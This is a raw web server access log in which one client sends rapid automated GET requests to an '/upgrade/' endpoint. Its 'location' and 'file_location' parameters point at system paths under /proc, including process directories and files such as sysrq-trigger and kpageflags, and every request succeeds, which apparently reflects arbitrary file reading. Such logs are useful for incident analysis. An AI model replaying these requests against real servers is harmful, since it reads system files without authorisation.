45.135.193.11 - - [11/Sep/2026:23:04:47 -0400] "GET /upgrade/?location=%2Fproc%2F47 HTTP/1.1" 200 9082 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F47" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:47 -0400] "GET /upgrade/?location=%2Fproc%2F532 HTTP/1.1" 200 9069 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F532" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:47 -0400] "GET /upgrade/?location=%2Fproc%2F1076 HTTP/1.1" 200 9150 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1076" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:47 -0400] "GET /upgrade/?location=%2Fproc%2F582650 HTTP/1.1" 200 9172 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F582650" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:47 -0400] "GET /upgrade/?location=%2Fproc%2F12 HTTP/1.1" 200 9080 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F12" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:47 -0400] "GET /upgrade/?location=%2Fproc%2F2470297 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2470297" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:47 -0400] "GET /upgrade/?location=%2Fproc%2F2473513 HTTP/1.1" 200 9027 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2473513" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:47 -0400] "GET /upgrade/?location=%2Fproc%2F24915 HTTP/1.1" 200 9211 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F24915" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:47 -0400] "GET /upgrade/?location=%2Fproc%2F25 HTTP/1.1" 200 9047 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F25" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:47 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fpagetypeinfo&location=%2Fproc%2F HTTP/1.1" 200 28450 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fpagetypeinfo&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:47 -0400] "GET /upgrade/?location=%2Fproc%2F104 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F104" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:47 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Flocks&location=%2Fproc%2F HTTP/1.1" 200 28436 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Flocks&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:47 -0400] "GET /upgrade/?location=%2Fproc%2F1068274 HTTP/1.1" 200 9218 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1068274" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:48 -0400] "GET /upgrade/?location=%2Fproc%2F136 HTTP/1.1" 200 9058 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F136" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:48 -0400] "GET /upgrade/?location=%2Fproc%2F1647326 HTTP/1.1" 200 9071 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1647326" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:48 -0400] "GET /upgrade/?location=%2Fproc%2F2468836 HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2468836" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:48 -0400] "GET /upgrade/?location=%2Fproc%2F2477332 HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2477332" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:48 -0400] "GET /upgrade/?location=%2Fproc%2F86 HTTP/1.1" 200 9083 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F86" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:48 -0400] "GET /upgrade/?location=%2Fproc%2F940 HTTP/1.1" 200 9076 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F940" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:48 -0400] "GET /upgrade/?location=%2Fproc%2F2467913 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2467913" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:48 -0400] "GET /upgrade/?location=%2Fproc%2F2476213 HTTP/1.1" 200 8970 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2476213" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:48 -0400] "GET /upgrade/?location=%2Fproc%2F815708 HTTP/1.1" 200 9038 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F815708" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:48 -0400] "GET /upgrade/?location=%2Fproc%2Ffs HTTP/1.1" 200 6041 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2Ffs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:48 -0400] "GET /upgrade/?location=%2Fproc%2F67 HTTP/1.1" 200 9081 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F67" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:48 -0400] "GET /upgrade/?location=%2Fproc%2F1216 HTTP/1.1" 200 9133 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1216" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:49 -0400] "GET /upgrade/?location=%2Fproc%2F2469426 HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2469426" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:49 -0400] "GET /upgrade/?location=%2Fproc%2F2475656 HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2475656" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:49 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fzoneinfo&location=%2Fproc%2F HTTP/1.1" 200 29864 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fzoneinfo&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:49 -0400] "GET /upgrade/?location=%2Fproc%2F158 HTTP/1.1" 200 9057 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F158" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:49 -0400] "GET /upgrade/?location=%2Fproc%2F1741 HTTP/1.1" 200 9168 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:49 -0400] "GET /upgrade/?location=%2Fproc%2F2416543 HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2416543" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:49 -0400] "GET /upgrade/?location=%2Fproc%2F2477428 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2477428" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:49 -0400] "GET /upgrade/?location=%2Fproc%2F2459037 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2459037" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:49 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fdevices&location=%2Fproc%2F HTTP/1.1" 200 28515 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fdevices&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:49 -0400] "GET /upgrade/?location=%2Fproc%2F68 HTTP/1.1" 200 9083 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F68" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:49 -0400] "GET /upgrade/?location=%2Fproc%2Fdriver HTTP/1.1" 200 6099 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2Fdriver" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:49 -0400] "GET /upgrade/?location=%2Fproc%2F107 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F107" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:49 -0400] "GET /upgrade/?location=%2Fproc%2F189 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F189" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:50 -0400] "GET /upgrade/?location=%2Fproc%2F707 HTTP/1.1" 200 9038 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F707" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:50 -0400] "GET /upgrade/?location=%2Fproc%2F2447933 HTTP/1.1" 200 9135 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2447933" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:50 -0400] "GET /upgrade/?location=%2Fproc%2F251 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F251" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:50 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fsysrq-trigger&location=%2Fproc%2F HTTP/1.1" 200 28133 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fsysrq-trigger&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:50 -0400] "GET /upgrade/?location=%2Fproc%2F206 HTTP/1.1" 200 9020 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F206" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:50 -0400] "GET /upgrade/?location=%2Fproc%2F256 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F256" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:50 -0400] "GET /upgrade/?location=%2Fproc%2F1648795 HTTP/1.1" 200 9051 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1648795" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:50 -0400] "GET /upgrade/?location=%2Fproc%2F80 HTTP/1.1" 200 9082 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F80" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:50 -0400] "GET /upgrade/?location=%2Fproc%2F95 HTTP/1.1" 200 9083 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F95" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:50 -0400] "GET /upgrade/?location=%2Fproc%2F1473 HTTP/1.1" 200 9166 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1473" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:50 -0400] "GET /upgrade/?location=%2Fproc%2F1642108 HTTP/1.1" 200 9112 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1642108" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:50 -0400] "GET /upgrade/?location=%2Fproc%2F2477426 HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2477426" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:50 -0400] "GET /upgrade/?location=%2Fproc%2F35 HTTP/1.1" 200 9082 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F35" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:50 -0400] "GET /upgrade/?location=%2Fproc%2F HTTP/1.1" 200 27682 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:51 -0400] "GET /upgrade/?location=%2Fproc%2F113 HTTP/1.1" 200 9022 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F113" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:51 -0400] "GET /upgrade/?location=%2Fproc%2F1200 HTTP/1.1" 200 9148 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1200" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:51 -0400] "GET /upgrade/?location=%2Fproc%2F1241 HTTP/1.1" 200 9155 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1241" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:51 -0400] "GET /upgrade/?location=%2Fproc%2F208 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F208" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:51 -0400] "GET /upgrade/?location=%2Fproc%2F26 HTTP/1.1" 200 9082 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F26" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:51 -0400] "GET /upgrade/?location=%2Fproc%2F6 HTTP/1.1" 200 9045 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F6" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:51 -0400] "GET /upgrade/?location=%2Fproc%2F90 HTTP/1.1" 200 9082 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F90" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:51 -0400] "GET /upgrade/?location=%2Fproc%2F1203 HTTP/1.1" 200 9132 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1203" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:51 -0400] "GET /upgrade/?location=%2Fproc%2F14 HTTP/1.1" 200 9081 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F14" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:51 -0400] "GET /upgrade/?location=%2Fproc%2F165 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F165" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:51 -0400] "GET /upgrade/?location=%2Fproc%2F2477433 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2477433" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:51 -0400] "GET /upgrade/?location=%2Fproc%2F1647391 HTTP/1.1" 200 9133 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1647391" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:51 -0400] "GET /upgrade/?location=%2Fproc%2F43 HTTP/1.1" 200 9081 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F43" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:52 -0400] "GET /upgrade/?location=%2Fproc%2F1443002 HTTP/1.1" 200 9131 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1443002" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:52 -0400] "GET /upgrade/?location=%2Fproc%2F154 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F154" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:52 -0400] "GET /upgrade/?location=%2Fproc%2F182 HTTP/1.1" 200 9057 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F182" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:52 -0400] "GET /upgrade/?location=%2Fproc%2F2462656 HTTP/1.1" 200 6468 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2462656" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:52 -0400] "GET /upgrade/?location=%2Fproc%2F623 HTTP/1.1" 200 9070 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F623" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:52 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fkpageflags&location=%2Fproc%2F HTTP/1.1" 200 27765 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fkpageflags&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:52 -0400] "GET /upgrade/?location=%2Fproc%2F1214 HTTP/1.1" 200 9132 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1214" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:52 -0400] "GET /upgrade/?location=%2Fproc%2F2477037 HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2477037" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:52 -0400] "GET /upgrade/?location=%2Fproc%2F493 HTTP/1.1" 200 9073 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F493" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:52 -0400] "GET /upgrade/?location=%2Fproc%2F612 HTTP/1.1" 200 9069 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F612" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:52 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fmisc&location=%2Fproc%2F HTTP/1.1" 200 28049 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fmisc&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:52 -0400] "GET /upgrade/?location=%2Fproc%2F15 HTTP/1.1" 200 9081 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F15" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:52 -0400] "GET /upgrade/?location=%2Fproc%2F2438611 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2438611" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:53 -0400] "GET /upgrade/?location=%2Fproc%2F2472480 HTTP/1.1" 200 9057 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2472480" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:53 -0400] "GET /upgrade/?location=%2Fproc%2F89 HTTP/1.1" 200 9033 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F89" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:53 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fdiskstats&location=%2Fproc%2F HTTP/1.1" 200 28196 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fdiskstats&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:53 -0400] "GET /upgrade/?location=%2Fproc%2F1193 HTTP/1.1" 200 9134 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1193" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:53 -0400] "GET /upgrade/?location=%2Fproc%2F1213 HTTP/1.1" 200 9132 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1213" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
